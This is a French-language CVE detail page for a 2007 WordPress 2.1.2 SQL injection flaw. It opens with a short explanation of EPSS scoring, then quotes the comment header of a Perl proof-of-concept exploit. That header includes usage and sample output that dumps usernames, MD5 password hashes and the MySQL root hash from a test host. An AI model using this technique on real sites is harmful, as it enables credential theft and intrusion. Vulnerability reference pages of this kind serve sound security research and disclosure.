CVE-2007-1897 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/perl -w #Wordpress 2.1.2 SQL Injection POC #Credits: sid@notsosecure.com #Thanks to ferruh (ferruh@mavituna.com)for improving my exploitation skills #website:www.notsosecure.com #Wordpress version 2.1.2 is vulnerable to sql injection. This POC works when exploting with the credentials of a valid user. The user can belong to 'contributor' role or any higher role. Versions before 2.1.2 have not been tested but are most likely to be vulnerable as well. #Example:--------------------------------------------------------------------------------------- #C:\wp-xmlrpc-2-2-sql.pl" http://192.168.2.4/apache2-default/wordpress/ author author 5 # # The usage is correct #[*] Trying Host http://192.168.2.4/apache2-default/wordpress/ ... #[+] The xmlrpc-2-2 server seems to be working #-------------------- #Username for id = 1 is:--> admin # #Md5 hash for user: admin # #is: 21232f297a57a5a743894a0e4a801fc3 # #-------------------- #Username for id = 2 is:--> contri # #Md5 hash for user: contri # #is: 95a178dde9d3fa2bde4971f10d3acc3e # #-------------------- #Username for id = 3 is:--> author # #Md5 hash for user: author # #is: 02bd92faa38aaa6cc0ea75e59937a1ef # #----------------------- #Total Number of Users found:-->3 #----------------------- #Mysql is running as: root@localhost # #Encrypted password for: root@localhost # is: root@localhost67457e226a1a15bd # #This deserves no mercy....
